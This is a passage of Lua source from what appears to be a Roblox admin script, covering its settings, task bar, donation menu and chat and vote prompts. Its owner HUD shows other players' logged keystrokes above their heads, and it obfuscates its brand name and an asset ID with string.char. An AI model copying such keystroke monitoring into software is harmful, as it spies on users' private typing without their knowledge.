  4372. ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  4373. ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  4374. ["Bet"] = {Settings.Bet, 3, "Bet"};
  4375. }
  4376.  
  4377. local _,RankNum = RANK:GetRank(Player)
  4378. if RankNum >= 3 then
  4379. CanChange = true
  4380. end
  4381.  
  4382. for Prop,Data in pairs(ViewSettings) do
  4383. local Writable = false
  4384. if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  4385. CloneViewSettings[Prop] = {Data[1], Writable}
  4386. end
  4387.  
  4388. local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  4389. if CanChange then
  4390. for Prop,Data in pairs(ViewSettings) do
  4391. if Data[3] then
  4392. Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  4393. end
  4394. end
  4395. CORE:FixSettings()
  4396. end
  4397. end
  4398.  
  4399. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  4400. for _,Player in pairs(Server.Players:GetPlayers()) do
  4401. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4402. if PlayerAdmin then
  4403. GUI:SendMessage(Player, TitleText, BodyText, Icon)
  4404. end
  4405. end
  4406. end
  4407.  
  4408. function GUI:TellAdmin(Player)
  4409. if not Player then return end
  4410.  
  4411. local ValidAdmin,Rank = RANK:IsAdmin(Player)
  4412. if ValidAdmin == true then
  4413. GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  4414. if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  4415. local SoundID = 237866523
  4416. if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  4417. local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  4418. Sound:Play()
  4419. coroutine.wrap(function()
  4420. wait(4)
  4421. Sound:Stop()
  4422. Sound:Destroy()
  4423. end)()
  4424. end
  4425. end
  4426. end
  4427.  
  4428. function GUI:TellNotAdmin(Player)
  4429. if not Player then return end
  4430.  
  4431. GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  4432. end
  4433.  
  4434. function GUI:CreateTaskBar(Player)
  4435. if not Player then return nil end
  4436. if Settings.EnableTaskBar == false then return nil end
  4437. Player:WaitForChild("PlayerGui")
  4438. local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  4439. if SG then SG:Destroy() end
  4440. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  4441. local IsMoving = false
  4442. local TaskBarShown = false
  4443. local Tasks = {}
  4444.  
  4445. local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  4446. local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  4447.  
  4448. local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  4449. local Open,CloseForm = false,nil
  4450. if Settings.EnableAdminMenu then
  4451. local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
  4452. coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
  4453. if Open == false then
  4454. local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
  4455. Open,CloseForm = true,Close
  4456.  
  4457. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
  4458. local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  4459. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
  4460. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  4461. local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  4462. local function DonateMoney(Type, Element)
  4463. local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  4464. local Get = Request[Type]
  4465. if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  4466. Server.MPS:PromptPurchase(Player, Get[1], true)
  4467. elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  4468. Server.MPS:PromptPurchase(Player, Get[2], true)
  4469. elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  4470. Server.MPS:PromptPurchase(Player, Get[3], true)
  4471. else
  4472. Element.Text = "Cannot get request"
  4473. end
  4474. end
  4475. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
  4476. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
  4477. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
  4478. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
  4479. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
  4480. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4481.  
  4482. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  4483.  
  4484. if Closed then
  4485. Closed.Event:connect(function()
  4486. Open = false
  4487. end)
  4488. end
  4489. else
  4490. CloseForm:Invoke()
  4491. end
  4492. end) end)()
  4493. if RANK:GetRank(Player) == "Owner" then
  4494. local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
  4495. CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
  4496. local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
  4497. if HUDSG then
  4498. HUDSG:Destroy()
  4499. else
  4500. GUI:CreateHUD(Player)
  4501. end
  4502. end)
  4503. end
  4504. end
  4505.  
  4506. CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
  4507. if IsMoving == false then
  4508. if TaskBarShown == true then
  4509. TaskBarShown = false
  4510. IsMoving = true
  4511. TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  4512. else
  4513. TaskBarShown = true
  4514. IsMoving = true
  4515. TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  4516. end
  4517. end
  4518. end)
  4519.  
  4520. local function ReloadIcons()
  4521. for Num,Data in pairs(Tasks) do
  4522. Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  4523. end
  4524. end
  4525.  
  4526. AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  4527. local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  4528. table.insert(Tasks, {Form, Icon})
  4529. local CanClick = true
  4530. CORE:HandleEvent(Icon, "MouseButton1Down", function()
  4531. if Form.IsActive.Value == false then
  4532. Restore:Invoke()
  4533. elseif CanClick == true then
  4534. coroutine.wrap(function()
  4535. CanClick = false
  4536. local DefPos = Form.Dragger.Position
  4537. for i = 1,15 do
  4538. Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  4539. wait(0.05)
  4540. end
  4541. Form.Dragger.Position = DefPos
  4542. CanClick = true
  4543. end)()
  4544. end
  4545. end)
  4546. ReloadIcons()
  4547.  
  4548. Closed.Event:connect(function()
  4549. for Num,Data in pairs(Tasks) do
  4550. if Data[1] == Form then
  4551. Icon:Destroy()
  4552. table.remove(Tasks, Num)
  4553. end
  4554. end
  4555. ReloadIcons()
  4556. end)
  4557. end)
  4558. end
  4559.  
  4560. function GUI:ShowDebtStats(Player, ManualText)
  4561. local Text = ManualText
  4562. if not ManualText then
  4563. Text = "CANNOT GET STATISTICS"
  4564. local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  4565. if RawPage then
  4566. local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  4567. local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  4568. Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  4569. end
  4570. end
  4571.  
  4572. local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  4573. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  4574.  
  4575. return Text
  4576. end
  4577.  
  4578. function GUI:ShowCommand(Player, CommandTrigger, Dialog)
  4579. if not Player then return nil end
  4580. if not CommandTrigger then return nil end
  4581.  
  4582. if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  4583.  
  4584. local CommandKey = CommandTrigger
  4585.  
  4586. if not Commands[CommandKey] then
  4587. for CommandNames,_ in pairs(Commands) do
  4588. for _,CommandName in pairs(CommandNames) do
  4589. if CommandName == CommandKey then
  4590. CommandKey = CommandNames
  4591. end
  4592. end
  4593. end
  4594. end
  4595.  
  4596. local CommandData = Commands[CommandKey]
  4597.  
  4598. local BodyText = "No valid command has been entered"
  4599. local TitleText = "Error"
  4600. local CanExe = false
  4601. if CommandData then
  4602. if Dialog then
  4603. Dialog:Invoke(true)
  4604. end
  4605. local PlayerRank = RANK:GetRank(Player)
  4606. if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  4607. if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  4608.  
  4609. TitleText = "Command: "..CommandKey[1]
  4610. BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  4611.  
  4612.  
  4613. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  4614.  
  4615.  
  4616. Description: ]]..CommandData[2]..[[
  4617.  
  4618.  
  4619. Arguments: ]]..CommandData[3]..[[
  4620.  
  4621.  
  4622. Minimum rank needed: ]]..CommandData[4]..[[
  4623.  
  4624.  
  4625. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  4626.  
  4627.  
  4628. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
  4629.  
  4630.  
  4631. Http Command ]]..STRING:BoolString(CommandData.Http)
  4632. end
  4633.  
  4634. _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  4635. if Dialog then
  4636. Closed.Event:connect(function() Dialog:Invoke(false) end)
  4637. Minimized.Event:connect(function() Dialog:Invoke(false) end)
  4638. end
  4639. end
  4640.  
  4641. function GUI:CreateHUD(Speaker)
  4642. if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  4643.  
  4644. local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  4645. if SG then SG:Destroy() end
  4646. SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  4647.  
  4648. local function AddHUD(Player, Char)
  4649. if not Char or not Char:FindFirstChild("Head") then return nil end
  4650.  
  4651. local Rank = RANK:GetRank(Player)
  4652. local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  4653. local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
  4654. local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
  4655. local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
  4656. local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
  4657. coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
  4658. InfoLabel.Text = "Name: "..Player.Name..[[
  4659. Rank: ]]..RANK:GetRank(Player)..[[
  4660. Age: ]]..STRING:FindAge(Player.AccountAge)
  4661. if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  4662. InfoLabel.Text = InfoLabel.Text..[[
  4663. Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
  4664. end
  4665. if LastKeys[Player.UserId] then
  4666. local Keys = ""
  4667. local KeyLog = {}
  4668. for _,KeyData in pairs(LastKeys[Player.UserId]) do
  4669. table.insert(KeyLog, KeyData[1])
  4670. if KeyData[2] == 8 then
  4671. Keys = string.sub(Keys, 1, #Keys - 1)
  4672. elseif KeyData[2] == 13 then
  4673. Keys = Keys.." "
  4674. else
  4675. Keys = Keys..string.char(KeyData[2])
  4676. end
  4677. end
  4678. KeyLabel.Text = table.concat(KeyLog, "\n")
  4679. KeyOutput.Text = Keys
  4680. end
  4681. HUD.Image = "rbxassetid://"..RankHUD[Rank]
  4682. end end)()
  4683.  
  4684. local CharRev,Removing = nil,nil
  4685. CharRev = Player.CharacterRemoving:connect(function()
  4686. PlayerHUD:Destroy()
  4687. CharRev:disconnect()
  4688. Removing:disconnect()
  4689. end)
  4690. Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
  4691. PlayerHUD:Destroy()
  4692. CharRev:disconnect()
  4693. Removing:disconnect()
  4694. end end)
  4695. end
  4696.  
  4697. local function ConnectHUD(Player)
  4698. if Player ~= Speaker then
  4699. if Player.Character then
  4700. AddHUD(Player, Player.Character)
  4701. end
  4702.  
  4703. Player.CharacterAdded:connect(function(Char)
  4704. if Speaker then
  4705. AddHUD(Player, Char)
  4706. else return nil
  4707. end
  4708. end)
  4709. end
  4710. end
  4711.  
  4712. for _,Player in pairs(Server.Players:GetPlayers()) do
  4713. ConnectHUD(Player)
  4714. end
  4715.  
  4716. Server.Players.PlayerAdded:connect(ConnectHUD)
  4717. end
  4718.  
  4719. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  4720. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4721. local Stopped = false
  4722.  
  4723. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  4724. Frame.Size = UDim2.new(1, 0, 1, -30)
  4725. Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
  4726.  
  4727. local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
  4728. local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  4729. local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  4730.  
  4731. local function AddLine(Speaker, MessageText, MessageColor)
  4732. MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
  4733. if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  4734. if not MessageColor then MessageColor = GUI:ContrastColor() end
  4735. local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
  4736. local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  4737. local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  4738. Bounds.Parent = Frame
  4739. end
  4740.  
  4741. local RPR = CORE:CreateRemotePropertyReader(ChatBox)
  4742.  
  4743. local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  4744. local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  4745. local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  4746.  
  4747. local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  4748. local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
  4749.  
  4750. CORE:ExecuteResource("MessagePromptHandler", Frame)
  4751.  
  4752. wait(0.1)
  4753.  
  4754. if PreAdd then
  4755. for Num,Add in pairs(PreAdd) do
  4756. AddLine(Add[1], Add[2], Add[3])
  4757. end
  4758. end
  4759.  
  4760. --[[
  4761. CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  4762.  
  4763. CORE:HandleEvent(ChatBox, "MouseEnter", function()
  4764. if ChatBox.Text == "Click here or press the '-' key" then
  4765. ChatBox.Text = ""
  4766. end
  4767. end)
  4768. ]]
  4769.  
  4770. local function FireSendPressed()
  4771. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4772. if Text ~= "" and Text ~= "Click here or press the '-' key" then
  4773. SendPressed:Fire(Text)
  4774. FakeCB.Visible = true
  4775. ClearCB:InvokeClient(Player)
  4776. end
  4777. end
  4778.  
  4779. Closed.Event:connect(function()
  4780. if Stopped == false then
  4781. Stopped = true
  4782. if SpeakerEvents then SpeakerEvents("Leave") end
  4783. end
  4784. end)
  4785.  
  4786. CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
  4787. EnterPressed.OnServerInvoke = FireSendPressed
  4788. AddMessage.OnInvoke = AddLine
  4789.  
  4790. if SpeakerEvents then
  4791. SpeakerEvents("Join")
  4792.  
  4793. coroutine.wrap(function()
  4794. repeat wait() until not Frame or not Frame.Parent
  4795. if Stopped == false then
  4796. Stopped = true
  4797. SpeakerEvents("Leave")
  4798. end
  4799. end)()
  4800. end
  4801.  
  4802. return SendPressed, AddMessage
  4803. end
  4804.  
  4805. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
  4806. if tonumber(Time) then ShowFormButtons = false end
  4807. if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
  4808. local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  4809. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  4810. local Clicked = nil
  4811. local Alive = true
  4812.  
  4813. local function ClosePrompt(ButtonName)
  4814. Alive = false
  4815. Close:Invoke()
  4816. Clicked = ButtonName
  4817. end
  4818.  
  4819. for Num,Select in pairs(Buttons) do
  4820. local Name = Select
  4821. local Style = "White"
  4822. local TextColor3 = Color3.new(0,0,0)
  4823. if type(Select) == "table" then
  4824. Name = Select[1]
  4825. if Select[2] then Style = Select[2] end
  4826. if Select[3] then TextColor3 = Select[3] end
  4827. elseif type(Select) == "string" then
  4828. local Case = string.lower(Select)
  4829. if Case == "ok" then
  4830. Name = "Ok"
  4831. Style = "Primary"
  4832. TextColor3 = Color3.new(1,1,1)
  4833. elseif Case == "yes" then
  4834. Name = "Yes"
  4835. Style = "Gray"
  4836. TextColor3 = Color3.new(0,1,0)
  4837. elseif Case == "no" then
  4838. Name = "No"
  4839. Style = "Red"
  4840. TextColor3 = Color3.new(1,0,0)
  4841. end
  4842. end
  4843.  
  4844. if Style == "None" then Style = "Custom" end
  4845. if Style == "Casual" then Style = "RobloxButton" end
  4846. if Style == "Red" then Style = "RobloxButtonDefault" end
  4847. if Style == "Gray" then Style = "RobloxRoundButton" end
  4848. if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  4849. if Style == "White" then Style = "RobloxRoundDropdownButton" end
  4850.  
  4851. local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  4852. CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
  4853. SOUND:BindButton(Button)
  4854. end
  4855.  
  4856. if tonumber(Time) then
  4857. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4858. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4859. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4860.  
  4861. for i = Time,0,-1 do
  4862. for ii = 1,10 do
  4863. if Alive == true then
  4864. Ticker.Text = i
  4865. wait(0.1)
  4866. else
  4867. break
  4868. end
  4869. end
  4870. end
  4871. if Alive == true then
  4872. ClosePrompt()
  4873. end
  4874. end
  4875.  
  4876. repeat wait() until Alive == false
  4877. return Clicked
  4878. end
  4879.  
  4880. function GUI:Vote(Speaker, Players, Text, Time)
  4881. if not Players or not Text or #Players <= 0 then return end
  4882.  
  4883. local Votes = {}
  4884. local Tick = 0
  4885.  
  4886. for _,Player in pairs(Players) do
  4887. local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
  4888. local CanVote = true
  4889. if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  4890. if CanVote == true then
  4891. coroutine.wrap(function()
  4892. local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
  4893. if Answer == nil then Answer = "Unknown" end
  4894. table.insert(Votes, Answer)
  4895. end)()
  4896. end
  4897. end
  4898. repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
  4899. wait(2)
  4900. if Speaker and Speaker:FindFirstChild("PlayerGui") then
  4901. local Total = #Players
  4902. local Yes,No,Unknown = 0,0,0
  4903. for _,Vote in pairs(Votes) do
  4904. if Vote == "Yes" then Yes = Yes + 1
  4905. elseif Vote == "No" then No = No + 1
  4906. end
  4907. end
  4908. Unknown = #Players - #Votes
  4909.  
  4910. local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
